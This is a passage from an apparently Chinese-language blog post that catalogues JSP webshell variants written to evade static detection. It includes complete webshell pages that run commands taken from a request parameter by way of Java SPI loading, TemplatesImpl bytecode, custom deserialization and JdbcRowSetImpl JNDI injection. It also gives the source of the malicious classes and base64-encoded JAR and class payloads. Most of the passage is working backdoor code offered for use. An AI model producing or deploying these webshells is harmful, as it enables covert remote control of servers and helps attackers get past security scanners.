Files.write(Paths.get(jarPath), Base64.getDecoder().decode("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"));
try {
Iterator<ScriptEngineFactory> iterator = ServiceLoader
.load(ScriptEngineFactory.class, new URLClassLoader(new URL[]{new URL("file:" + jarPath)})).iterator();
while (iterator.hasNext())
iterator.next();
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
</body>
</html>
java的spi机制，具体也很简单，我也不想描述，可以去查查资料，这里的base64的内容，其实就是自行编译的一个jar包，其中有个恶意类实现了ScriptEngineFactory，在调用`new
ScriptEngineManager(new URLClassLoader(new URL[]{new URL("file://" +
jarPath)}));`，其中的代码实现会加载jar包内的`META-INF/services/javax.script.ScriptEngineFactory`文件，读取class名，然后从jar包中加载并实例化，这样就能触发恶意类的代码执行了。
而这个jsp
webshell的逻辑，利用了写临时文件，把jar写到临时目录持久化，让URLClassLoader能不出网本地加载，然后寄存用户shell命令到临时目录下的文件jabdhjabdjkandaldlanaklndkand.txt，接着在加载jar执行完命令后，把输出结果寄存在临时目录下的文件jfkdjkadnkladmknjknfkjnadkad.txt，最后在jsp中对其内容进行读取回显。
恶意class的内容是这样的：
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.File；
/**
* @author LaoHaiScript
*/
public class LaoHaiScript implements ScriptEngineFactory {
public LaoHaiScript() {
try {
String tmp = System.getProperty("java.io.tmpdir");
String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
InputStream inputStream = Runtime.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).split(" ")).getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (Files.exists(Paths.get(outputFile)))
Files.delete(Paths.get(outputFile));
Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());
} catch (Throwable e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
META-INF/services/javax.script.ScriptEngineFactory文件的内容：
LaoHaiScript
### 十一、利用TemplatesImpl触发的JSP Webshell
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="sun.misc.IOUtils" %>
<%@ page import="sun.reflect.misc.FieldUtil" %>
<html>
<body>
<h2>利用TemplatesImpl触发的JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
String s = request.getParameter("threedr3am");
if (Files.exists(Paths.get(inputFile)))
Files.delete(Paths.get(inputFile));
Files.write(Paths.get(inputFile), s.getBytes());
TemplatesImpl t = new TemplatesImpl();
Field field = FieldUtil.getDeclaredFields(t.getClass())[4];
byte[][] bytes = new byte[1][];
bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");
field.setAccessible(true);
field.set(t, bytes);
Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];
field2.setAccessible(true);
field2.set(t, TransformerFactoryImpl.newInstance());
Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];
field3.setAccessible(true);
field3.set(t, "threedr3am");
Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];
field4.setAccessible(true);
field4.set(t, new HashMap<>());
try {
t.getOutputProperties();
} catch (Exception e) {}
String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));
response.getOutputStream().write(resutl.getBytes());
%>
</body>
</html>
熟悉java原生反序列化gadget的人，看到这个TemplatesImpl应该都比较熟悉了吧，这个类是很多gadget的核心，利用它实现了加载自定义恶意class并实例化，如果遇到了某些静态检测引擎对URLClassLoader的或者ClassLoader的检测，那么，就可以使用TemplatesImpl对其进行绕过。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author threedr3am
*/
public class Threedr3am_11 extends AbstractTranslet {
public Threedr3am_11() {
try {
String tmp = System.getProperty("java.io.tmpdir");
String inputFile = tmp + File.separator + "cmd";
String outputFile = tmp + File.separator + "result";
InputStream inputStream = Runtime
.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).replace("%", "").split(" ")).getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (Files.exists(Paths.get(outputFile)))
Files.delete(Paths.get(outputFile));
Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());
} catch (Throwable e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
### 十二、重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ObjectInputStream" %>
<%@ page import="java.io.ObjectStreamClass" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell</h2>
<%
class Custom extends ObjectInputStream {
public Custom(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
String tmp = System.getProperty("java.io.tmpdir");
Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());
Files.write(Paths.get(tmp + File.separator + "Threedr3am_12.class"), Base64.getDecoder().decode("yv66vgAAADQAtgoAJgBXBwBYCgACAFcIAFkKAFoAWwkAWgBcCgBdAF4HAF8KAAIAYAkAYQBiCABjCgACAGQKAGUAZgoAZwBoCgAIAGkKAGoAawoAagBsCgBtAG4HAG8HAHAKABQAcQoAEwByCgATAHMIAHQHAHUKABkAdgoAGQB3BwB4CgAcAFcHAHkKAB4AegcAewoAIABXCgAeAHwKAH0AfgoAHAB/CgCAAIEHAIIHAIMBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFAAAAAAAAAAEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxYWFhYOwEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAAN0bXABABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAJpcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQANU3RhY2tNYXBUYWJsZQcAewcAhAcAWAcAXwcAhQcAbwcAdQEACkV4Y2VwdGlvbnMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwcAhgcAhwEAClNvdXJjZUZpbGUBAAlYWFhYLmphdmEMAC0ALgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAOamF2YS5pby50bXBkaXIHAIgMAIkAigwAiwCMBwCNDACOAI8BABBqYXZhL2xhbmcvU3RyaW5nDACQAJEHAJIMAJMANwEAA0NNRAwAlACVBwCWDACXAJgHAJkMAJoAmwwALQCcBwCdDACeAJ8MAKAAoQcAogwAowCkAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAC0ApQwALQCmDACnAJUBAAEKAQATamF2YS9sYW5nL1Rocm93YWJsZQwAqAAuDAAtAI8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAtAKkBAARYWFhYDACqAKsHAKwMAK0AsAwAsQCyBwCzDAC0ALUBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABlqYXZhL2lvL09iamVjdElucHV0U3RyZWFtAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABShbQilWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAD3ByaW50U3RhY2tUcmFjZQEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYBAAt3cml0ZU9iamVjdAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsAIQAgACYAAQAnAAEAGgAoACkAAQAqAAAAAgArAAMAAQAtAC4AAQAvAAAALwABAAEAAAAFKrcAAbEAAAACADAAAAAGAAEAAAAWADEAAAAMAAEAAAAFADIAMwAAAAIANAA1AAIALwAAAXUABQAIAAAAjrsAAlm3AANNEgS4AAVOsgAGLbYAB7sACFm7AAJZtwADLbYACbIACrYACRILtgAJtgAMA70ACLgADbgADrcADzoEuAAQGQS2ABG2ABI6BbsAE1m7ABRZGQW3ABW3ABY6BhkGtgAXWToHxgASLBkHtgAJEhi2AAlXp//ppwAITi22ABq7ABlZLLYADLcAG78AAQAIAHoAfQAZAAMAMAAAADIADAAAABoACAAcAA4AHQAVAB4AQQAfAE4AIABgACIAawAjAHoAJwB9ACUAfgAmAIIAKAAxAAAAXAAJAA4AbAA2ADcAAwBBADkAOAA3AAQATgAsADkAOgAFAGAAGgA7ADwABgBoABIAPQA3AAcAfgAEAD4APwADAAAAjgAyADMAAAAAAI4AQABBAAEACACGAEIAQwACAEQAAAAzAAT/AGAABwcARQcARgcARwcASAcASAcASQcASgAA/wAZAAMHAEUHAEYHAEcAAEIHAEsEAEwAAAAEAAEAGQAJAE0ATgACAC8AAABrAAMAAgAAACu7ABxZtwAdTLsAHlkrtwAfuwAgWbcAIbYAIrIABrgAIyu2ACS2ACW2AAexAAAAAgAwAAAAEgAEAAAALAAIAC0AGgAuACoAMgAxAAAAFgACAAAAKwBPAFAAAAAIACMAUQBSAAEATAAAAAYAAgBTAFQAAgBVAAAAAgBWAK8AAAAKAAEAgAB9AK4ACQ=="));
return Class.forName(name, false, new URLClassLoader(new URL[]{new URL("file:" + tmp + File.separator)}));
}
}
try {
new Custom(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyAARYWFhYAAAAAAAAAAECAAB4cA=="))).readObject();
} catch (Exception e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
</body>
</html>
而Threedr3am_12.class文件的源码：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
/**
* @author threedr3am
*/
public class Threedr3am_12 implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream is) throws Throwable {
StringBuilder stringBuilder = new StringBuilder();
try {
String tmp = System.getProperty("java.io.tmpdir");
String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
} catch (Throwable e) {
e.printStackTrace();
}
throw new Throwable(stringBuilder.toString());
}
public static void main(String[] args) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(new Threedr3am_12());
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
}
只要把这个class文件base64一下，放到jsp马就ok了，理论上这个马挺不错的，如果不禁用Class.forName、URLClassLoader、readObject，那因为可以随意引入jar或者class，那么也就是说可以无限拓展了，比如我可以引入common-collections，也能自己写个jar等等。
### 十三、使用JdbcRowSetImpl进行jndi注入的JSP Webshell
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("threedr3am"));//ldap://localhost:43658/Calc
try {
jdbcRowSet.setAutoCommit(true);
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
很多人说jndi有版本限制，其实只要把com.sun.jndi.ldap.object.trustURLCodebase设置为true就没有任何限制。
jndi的利用手法不用我说了吧？算了，还是贴点代码吧。
Calc.java:
